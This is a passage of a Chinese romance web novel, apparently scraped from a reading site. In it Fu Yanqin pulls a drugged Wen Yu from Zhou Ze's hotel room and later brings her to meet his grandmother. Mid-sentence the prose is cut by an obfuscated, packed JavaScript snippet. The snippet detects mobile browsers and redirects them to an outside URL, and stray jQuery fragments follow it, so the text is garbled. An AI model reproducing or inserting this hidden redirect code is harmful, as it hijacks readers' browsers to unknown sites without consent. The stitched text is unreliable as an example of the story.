电梯缓缓停在十六层,刚走出电梯间,傅言钦步子还算沉稳,可望着长长的走廊,他下意识加快了步伐。
1620、1619、1618……直到傅言钦看到1601的门牌号时,才怔怔地停住脚步。
是这一间,不过房间的隔音效果很好,站在门外,傅言钦什么都听不到。
他抬手敲了敲门,一开始还算礼貌,但片刻后见房间内依旧无人回应,也没有要打开的迹象,傅言钦不由自主地急切起来,敲门声更重。
很快,房间内的人被他惊动了,门被打开的时候,周则还穿着浴袍,领口半敞着,满身水汽,像是刚从浴室里出来。
他的脸上挂着被人打扰的不耐烦,不过见是傅言钦,周则的表情又变成了诧异,他以为一切都说好了,傅言钦这种时候来又是什么意思?
“傅少怎么来了?”周则不怀好意地上下打量,而后半开玩笑地讲:“难不成是想一起?”
傅言钦忍住想要一拳砸在他脸上的冲动,冷然问道:“温瑜呢?”
周则侧了下身子示意,“喏……”
傅言钦便看到了床上正躺着的人,一动不动,似乎没有意识,好在衣着还是整齐的,并未被人动过。
他抬脚要进去,却被周则挡在门口,“什么意思啊,傅少?”
“让开!”
周则没动,“傅少,这种事也得讲个先来后到,怎么着也得等我先……”
话没讲完,傅言钦的拳头便落了下来,他自认为自己已经十分理智,并且很有耐心,如果周则不阻拦,他们还可以相安无事,当做什么都没发生过。
温瑜恍惚间醒来,模模糊糊看到了天花板上的吊灯,有些晃眼,她还没来得及适应,耳边便传来了某人的痛呼声,视线落下来,周围的一切都很模糊,温瑜浑身上下没有力气,却又觉得燥热难忍。
不知道过了多久,周遭声音静下来,傅言钦站在门边,淡然地整理好衬衣袖口领口,又重新穿上西服,穿戴整齐后才缓步走进房间里。
温瑜看他,却只能看到一个模糊的轮廓。
傅言钦抬手摸了下温瑜的额头,滚烫的不像话,于是他急忙抱起温瑜往门外走,经过周则时,他正鼻青脸肿地靠坐在墙边,抖着手滑动手机,不知道是要报警,还是叫什么人来。
“傅言钦!你,你给我等着!这件事不会就这样算了……”
傅言钦顿住脚步,垂眸看他,居高临下地讲:“人我带走了,是我打的你,想报复就冲我来。”
抱温瑜回到车上的时候,她浑身都滚烫起来,死死抓住傅言钦的领口不肯松手。
傅言钦回握住她的手腕,“怎么这么烫?他给你下药了?”
温瑜没有回答,有气无力地反问:“傅言钦,现在你满意了?”
从进酒店的那一刻她就在赌,她赌傅言钦会不会真的看着她被人欺负而无动于衷,事实证明,她赌对了。
傅言钦也是她的学生,温瑜实在太了解他了,口是心非,嘴硬心软,可他终究是狠不下心。
“我带你去医院。”
“不要……”温瑜拼命摇头,恳求道:“不去医院,我想回家,求你放过我吧……”
这是第一次,温瑜在他面前示弱恳求,她原本是那么孤傲的一个人,从来没有什么事能让她放下尊严去恳求别人,可这一次,她是真的怕了,怕了他的报复……
“你觉得自己有选择的权利?”傅言钦声音发冷,“你凭什么求我放过你?”
于是温瑜更加激动,“傅言钦,你到底要我怎样做?不是恨我吗?恨我骗了你?又为什么要回头救我?”
只要想起刚刚发生的事,傅言钦就会因为觉得庆幸而痛苦,他庆幸自己回去的足够及时。但这也令他极度痛苦,因为任何一点庆幸都代表了他对傅家以及父亲的背叛。
傅言钦没再回答,他沉默地帮温瑜系好安全带,而后发动车子驶离。
医院里有很重的消毒水气味,温瑜躺在病床上睡着了,体温已经降了下来。
傅言钦坐在病床边的椅子上,看了温瑜许久,不自觉地想起很多以前的事,最后思绪被手机震动打断。
电话是唐斓打来的,傅言钦起身走出病房,才接通了电话,“奶奶……”
“小言啊,你都多久没回来看看我了?是不是都要把祖母忘了?”
傅言钦浅笑了下,温声回应:“怎么会呢?我明天就回家,然后好好在家里陪您几天……”
“哎呦,不是这个意思,公司的事情重要,别因为祖母耽误了工作……祖母就是,有点想你了……”
“我知道,不会耽误工作,我也很想念您。没能早点回去陪陪您,很抱歉。”傅言钦觉得愧疚,自从父亲去世后,他忙着公司的事情,也很少陪唐斓。
“干嘛道歉?祖母又没有怪过小言……对了,小瑜最近怎么样了?”
隔着窗玻璃,傅言钦望了眼病床上还在睡梦中的人,讲:“她,很好。”
“那带回家里吃个饭吧,你之前说喜欢人家,也不肯带回来让我见见……”
这话是傅言钦很久以前讲过的,只不过没想到,过去这么久,唐斓竟然还记得,她明明忘记了很多人和事。
“好,我带她回去。”
——
温瑜是在完全不知情的情况下被带去了傅宅,直到车子开进傅宅大门时,她才反应过来。
“为什么带我来这儿?”
“奶奶想见见你。”傅言钦停好车,又讲:“警告你,在她面前不要乱讲话,尤其不要提我父亲的事。”
温瑜点头,“知道了。”她想自己还没有可恶到要去欺负一个年过七旬的老人。
温瑜大概有半年多没见过唐斓,再次见到她,只觉得她的白发又多了不少。
唐斓坐在轮椅上,被佣人从房间里推出来,这两年,她的行动越发不便,家里请了康复师,但效果都不太好,到后来习惯了轮椅后,唐斓也就再也离不开轮椅了……
“小瑜,好久不见,工作生活还顺利吗?”
温瑜笑着迎上来,得体回应:“谢谢老夫人的关心,我一切都好,倒是您,最近身体怎么样呢?”
其实温瑜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250521|189879||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心里想,不管自己如今与傅言钦是何种境况,都不必让长辈再为他们担心,哪怕是装装样子也好,至少在唐斓这里,他们还可以放下其他,装作是一对恩爱的情侣。
唐斓轻轻拍了拍她的手背,笑着讲:“我身子一直都是这样,都这把年纪了,能到几时便算几时。唯一放心不下的是小言,等什么时候你们的婚事定下,我就能安心了……”
傅言钦听了这话,便笑着打断她:“奶奶,是谁说要做百岁的寿星,给家里添福气的?可不能讲话不作数。”
唐斓和蔼地笑了,弯着眉白了他一眼,嗔怪道:“就你嘴甜……”
“我这说的可都是实话,可不是糊弄您的糖衣炮弹。”
傅言钦几句话,便将唐斓逗得笑开怀。可身边人都觉得,比起之前,傅言钦变了许多,尤其变得沉稳内敛,就连温瑜也这么觉得。
或许只有在唐斓面前,他才会偶尔流露出些许意气风发的少年心性。
“说真的,你们的婚事打算定在什么时候?”
温瑜回答:“还不着急。”
唐斓却有些着急的讲:“都老大不小了,怎么能不急,小言及早成家,我也好早日安下心。要是担心思谦那边,我去同他这个老古董讲,我就不信,他敢不听他老母的话……”
听到“思谦”这这个名字时,温瑜下意识看向傅言钦,等着他的回答,可傅言钦许久都没再讲过话,只是看着茶几上的杯子失神,不知道在想些什么……
后来他们又聊了很久的天,一直到天黑,温瑜才被带到早就准备好的房间休息。
“今天,谢谢你……”关了门,傅言钦出乎意料的同她道谢,“作为感谢,以后我尽量不会逼你做你不喜欢的事。”
“尽量?”
那便是还会,毕竟他曾经说过,绝对不会放过她。
“那我现在不想见到你,想你离开这间屋子,可以吗?”
傅言钦点了下头,讲:“可以,不过现在不行,等奶奶睡下,我就离开。”
说完他自顾自地在一旁的软皮沙发上坐下来,看了眼时间后,便打开笔记本电脑开始忙工作。
温瑜站了片刻,觉得有些尴尬,转而听傅言钦讲:“累的话可以先休息。”
难得如今这样的情形,他竟然还能有这样体贴的时刻。
温瑜合衣躺在床上,时不时看向他,他工作时很专注,如果不是温瑜见过他以前的样子,实在无法将此刻的傅言钦和两年前的傅言钦联系在一起。
或许是这些天太累了,困意袭来,温瑜不知不觉睡着了,醒来时天已经亮了,清晨微冷,傅言钦也不知去向。
她坐起身,整理好衣服走出房间,不知道是不是清晨的原因,傅宅里静悄悄的,也不见什么佣人,从长廊的窗户眺望出去,只在设有围栏的后院可以看到园丁正在修剪植物。
温瑜有些无聊,想到院子里转转,出了宅门,没走多远便看到一处露天花房,里面隐隐约约有个人影。
温瑜一开始没在意,以为是修剪草木的园丁,可靠近了才发现,花房里坐着的竟然是唐斓。